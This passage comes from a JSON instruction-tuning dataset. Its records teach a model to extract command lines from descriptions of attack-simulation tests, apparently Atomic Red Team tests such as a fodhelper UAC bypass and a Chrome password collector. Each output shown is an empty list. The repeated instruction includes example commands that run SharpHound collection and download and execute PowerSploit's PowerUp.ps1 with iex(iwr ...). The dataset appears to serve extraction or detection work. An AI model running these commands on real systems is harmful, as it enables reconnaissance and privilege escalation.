explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test creates Systemd service and timer then starts and enables the Systemd timer \n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Executes powershell.exe with variations of the -Command parameter",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    A modified sysinternals suite will be downloaded and staged. The Chrome-password collector, renamed accesschk.exe, will then be executed from #{file_path}.\n\nSuccessful execution will produce stdout message stating \"Copying db ... passwordsDB DB Opened. statement prepare DB connection closed properly\". Upon completion, final output will be a file modification of PathToAtomicsFolder\\..\\ExternalPayloads\\sysinternals\\passwordsdb.\n\nAdapted from [MITRE ATTACK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/data/abilities/credential-access/e7cab9bb-3e3a-4d93-99cc-3593c1dc8c6d.yml)\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test deletes the user account using the dscl utility.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Some Linux systems may not activate ufw, but use iptables for firewall rules instead. (ufw works on top of iptables.) \nAttackers cannot directly disable iptables, as it is not implemented as a service like ufw. But they can flush all iptables \nrules, which in fact \"disable\" iptables. \n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Utilize rsync to perform a remote file copy (push)\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    PowerShell code to bypass User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.\nUpon execution command prompt will be opened.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Compile a c file with either gcc or clang on FreeBSD, Linux or Macos.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = 